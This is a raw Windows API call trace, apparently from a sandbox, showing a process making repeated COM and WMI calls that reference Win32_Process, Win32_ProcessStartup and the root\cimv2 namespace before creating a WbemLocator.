IWbemClassObject:Get (in: This=0x643aa0, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28f1a58*=0, plFlavor=0x28f1a5c*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1254, varVal2=0x0), pType=0x28f1a58*=19, plFlavor=0x28f1a5c*=0) returned 0x0 [0110.706] IWbemClassObject:Get (in: This=0x643aa0, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28f1a58*=19, plFlavor=0x28f1a5c*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1254, varVal2=0x0), pType=0x28f1a58*=19, plFlavor=0x28f1a5c*=0) returned 0x0 [0110.707] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0110.707] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0110.707] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0110.707] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.708] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d2f40) returned 0x0 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d2f40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0110.708] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d2f40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4aefe0) returned 0x0 [0110.708] WbemDefPath:IUnknown:Release (This=0x1b4d2f40) returned 0x0 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4aefe0) returned 0x0 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0110.708] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0110.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d3580) returned 0x0 [0110.708] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3580, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.708] WbemDefPath:IUnknown:Release (This=0x1b4d3580) returned 0x3 [0110.708] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0110.709] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0110.709] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0110.709] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0110.709] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0110.709] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0110.709] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0110.709] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aefe0, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4aefe0) returned 0x0 [0110.709] WbemDefPath:IUnknown:AddRef (This=0x1b4aefe0) returned 0x3 [0110.709] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x2 [0110.709] WbemDefPath:IWbemPath:SetText (This=0x1b4aefe0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aefe0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.709] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aefe0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.709] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0110.709] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0110.709] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0110.709] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.710] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d3560) returned 0x0 [0110.710] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3560, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0110.710] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3560, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4aec20) returned 0x0 [0110.710] WbemDefPath:IUnknown:Release (This=0x1b4d3560) returned 0x0 [0110.710] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4aec20) returned 0x0 [0110.710] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0110.710] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0110.711] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0110.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0110.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2f40) returned 0x0 [0110.711] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2f40, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.711] WbemDefPath:IUnknown:Release (This=0x1b4d2f40) returned 0x3 [0110.711] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0110.711] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0110.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0110.711] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0110.711] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0110.711] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0110.711] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0110.711] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aec20, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4aec20) returned 0x0 [0110.711] WbemDefPath:IUnknown:AddRef (This=0x1b4aec20) returned 0x3 [0110.711] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x2 [0110.711] WbemDefPath:IWbemPath:SetText (This=0x1b4aec20, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0110.711] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.711] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aec20, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aec20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4aec20, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aec20, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0110.712] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.712] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0110.712] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0110.712] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0110.712] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.713] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b4d3400) returned 0x0 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d3400, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0110.713] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d3400, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4b02a0) returned 0x0 [0110.713] WbemDefPath:IUnknown:Release (This=0x1b4d3400) returned 0x0 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4b02a0) returned 0x0 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0110.713] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0110.713] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4d3420) returned 0x0 [0110.714] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d3420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0110.714] WbemDefPath:IUnknown:Release (This=0x1b4d3420) returned 0x3 [0110.714] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0110.714] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0110.714] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0110.714] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0110.714] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0110.714] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0110.714] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0110.714] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b02a0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4b02a0) returned 0x0 [0110.714] WbemDefPath:IUnknown:AddRef (This=0x1b4b02a0) returned 0x3 [0110.714] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x2 [0110.714] WbemDefPath:IWbemPath:SetText (This=0x1b4b02a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0110.714] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b02a0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0110.714] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0110.714] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b02a0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0110.714] CoGetObjectContext (in: riid=0x25a6878*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0110.714] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0110.714] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x25a6858*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0110.714] IUnknown:Release (This=0x6124e8) returned 0x1 [0110.715] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d2ee0) returned 0x0 [0110.715] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2ee0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0110.715] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2ee0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d1d40) returned 0x0 [0110.715] WbemLocator:IUnknown:Release (This=0x1b4d2ee0) returned 0x0 [0110.715] 